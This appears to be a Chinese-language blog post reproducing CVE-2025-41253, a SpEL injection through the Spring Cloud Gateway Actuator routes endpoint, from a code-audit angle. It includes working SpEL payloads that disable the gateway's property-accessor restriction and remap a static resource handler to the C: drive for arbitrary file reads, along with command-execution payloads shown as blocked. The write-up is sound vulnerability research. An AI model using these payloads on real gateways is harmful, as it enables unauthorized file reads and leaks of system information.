CVE-2025-41253复现

CVE-2025-41253复现

这是一个spring cloud gateway的CVE,看到群里有佬发这个漏洞,就想着复现下。

本文将从代码审计的视角去看这个CVE。

漏洞描述

来自网络:应用在路由配置中使用Spring Expression Language(SpEL)且暴露了未经访问控制的Actuator gateway端点时,攻击者可通过构造恶意路由表达式,读取系统环境变量和系统属性,从而造成敏感信息泄露。该漏洞的触发条件包括:启用management.endpoints.web.exposure.include=gateway与management.endpoint.gateway.enabled=true(或management.endpoint.gateway.access=unrestricted),且相关Actuator接口可被外部访问。

漏洞复现

环境

按照漏洞描述,一个是需要 spring gateway,另一个则是开启Actuator端点,完整的pom文件:

复制代码
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>3.2.0</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>org.example</groupId>
    <artifactId>SpringGateway</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>SpringGateway</name>
    <description>SpringGateway</description>
    <properties>
        <java.version>17</java.version>
        <spring-cloud.version>2023.0.0</spring-cloud.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-starter-gateway</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-actuator</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>

    <dependencyManagement>
        <dependencies>
            <dependency>
                <groupId>org.springframework.cloud</groupId>
                <artifactId>spring-cloud-dependencies</artifactId>
                <version>${spring-cloud.version}</version>
                <type>pom</type>
                <scope>import</scope>
            </dependency>
        </dependencies>
    </dependencyManagement>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

jdk版本为17,依赖版本:

复现

已知漏洞的触发条件包括:启用management.endpoints.web.exposure.include=gateway与management.endpoint.gateway.enabled=true(或management.endpoint.gateway.access=unrestricted),且相关Actuator接口可被外部访问。

在当前版本的SpringGateway中:

  • management.endpoint.gateway.enabled:是否启用网关端点

  • management.endpoints.web.exposure.include:需要被包含的端点id

明确这两个配置的作用:Spring Cloud Gateway 基于 Actuator 扩展了专属端点 /actuator/gateway

  • management.endpoint.gateway.enabled:决定 Actuator 是否加载 Gateway 提供的专属端点(/actuator/gateway
  • management.endpoints.web.exposure.include:控制 Actuator 端点的 "HTTP 暴露范围"

访问actuator:

显然gateway这个路由存在spel表达式注入漏洞,那么接下来就是对spel和gateway的jar包进行分析,我这里使用的自己写的工具去构建neoj4数据库,在这一步感兴趣的可以使用tabby去完成链路的分析。

接下来就是查找链,cypher语句为:

复制代码
MATCH path = (caller:Method)-[:CALLS|OVERRIDES|EXTENDS|IMPLEMENTS*0..20]->(sinkMethod:Method {className:"org/springframework/expression/Expression", methodName:"getValue", namespace:"gateway"}) where caller.className STARTS WITH "org/springframework/cloud/gateway" RETURN path

最终找到:

大致可以分为两类:

  • ShortcutType枚举量中重写的normalize,通过调试可以看到没办法读取环境变量

    往里看:

    parser.parseExpression("#{T(System).getenv()}", new TemplateParserContext()).getValue()可以得到值,但是走原来的路径就不可以得到值,所以还要看看context:

    当restrictive为false,将允许通过spel表达式读取环境变量的值。

    normalize溯源到CachingRouteLocator的onApplicationEvent、WeightCalculatorWebFilter的onApplicationEvent、CorsGatewayFilterApplicationListener的onApplicationEvent、GatewayAutoConfiguration的cachedCompositeRouteLocator(所有需要获取路由信息的核心场景调用)和RoutePredicateHandlerMapping的getHandlerInternal(请求到达网关后调用)

  • DiscoveryClientRouteDefinitionLocator中的getRouteDefinitions涉及对spel表达式的使用,溯源找到CachingRouteDefinitionLocator的onApplicationEvent和RouteDefinitionMetrics的onApplicationEvent,当网关路由配置发生动态变更或是手动调用refresh端点时触发,注意,只有配了注册中心才会走DiscoveryClientRouteDefinitionLocator

专门分析normalize,当gateway启动,会自动处理配置文件中的args参数:

本地配置文件将其当做可信的源,然后从gateway的路由可以看到存在post请求,并且知道:

  • http://localhost:8084/actuator/gateway/routes/example_route的post请求会动态注册路由
  • http://localhost:8084/actuator/gateway/routes/testtget请求会获取id为testt的路由信息
  • http://localhost:8084/actuator/gateway/refresh的post空请求会触发default的normalize去解析args中的字符串

逻辑就是动态注册路由-->refresh刷新路由-->请求路由信息以验证的确添加成功

然后我写了一个相同的spel controller再做一下验证

java 复制代码
@RestController
@RequestMapping("/api")
public class TestController {
    @Resource
    private BeanFactory beanFactory;
    @GetMapping("/spel")
    public String spelInjection(@RequestParam String expression) {
        ExpressionParser parser = new SpelExpressionParser();
        ShortcutConfigurable.GatewayEvaluationContext context = new ShortcutConfigurable.GatewayEvaluationContext(beanFactory);
        Expression exp =parser.parseExpression(expression, new TemplateParserContext());

        Object message =  exp.getValue(context);

        return message.toString();
    }
}

当expression为#{@systemProperties['os.name'] }时可以正确读取系统中的属性,因此问题的确出在。

由于GatewayEvaluationContext使用SimpleEvaluationContext,导致没有办法进行以下操作:

  • 无法进行方法调用,使用T的都无法执行,比如:

    复制代码
    #{T(System).getenv()}
    #{T(java.lang.Runtime).getRuntime().exec('calc')}
    #{T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('C:\Windows\win.ini'))}
  • 无法通过@environment.getProperty,getProperty无法被调用,也算是方法调用

  • 未解除安全限制前无法访问或操作Bean

允许的操作:

  • 使用systemProperties读取属性值或修改属性值

    复制代码
    #{@systemProperties['os.name'] }
    
    #{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false'}

    其中第二条可以解除gateway的安全限制

  • 访问或操作Bean(只有通过systemProperties修改为spring.cloud.gateway.restrictive-property-accessor.enabled为false后才可以执行)

    复制代码
    #{@resourceHandlerMapping.urlMap} 
    #{ @resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:///C:/'}
    #{ @resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet}

    注意,再修改'/webjars/**'映射后需要通过afterPropertiesSet主动去刷新urlMap

最后就是文件读取的复现的步骤:

  1. 通过动态注册路由的接口按照以下顺序设置:

    复制代码
    #{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false'}
    #{ @resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:///C:/'}
    #{ @resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet}

    注意,每请求一次都需要调refresh刷新

  2. 最后发起请求,成功下载:

相关推荐
AI_Auto4 小时前
智能制造- 安全标准(三)
安全·制造
SPIRT006 小时前
信息收集系列一
安全
AI_Auto6 小时前
智能制造- 安全标准(二)
安全·制造
老赵聊算法、大模型备案7 小时前
《人工智能拟人化互动服务管理暂行办法(征求意见稿)》深度解读:AI“拟人”时代迎来首个专项监管框架
人工智能·算法·安全·aigc
深盾安全8 小时前
C++错误处理的现代化方式:深入理解std::error_code
安全
FreeBuf_8 小时前
“lc“键漏洞:LangChain高危缺陷(CVE-2025-68664)使提示注入攻击可窃取机密
安全·web安全·langchain
全知科技8 小时前
API安全国家标准发布丨《数据安全技术 数据接口安全风险监测方法》
大数据·人工智能·安全
白帽子黑客罗哥9 小时前
网络安全防护技术与实战策略:从基础防御到前沿应对
安全·web安全·php
pusheng20259 小时前
地下车库一氧化碳监测的技术挑战与解决方案
前端·安全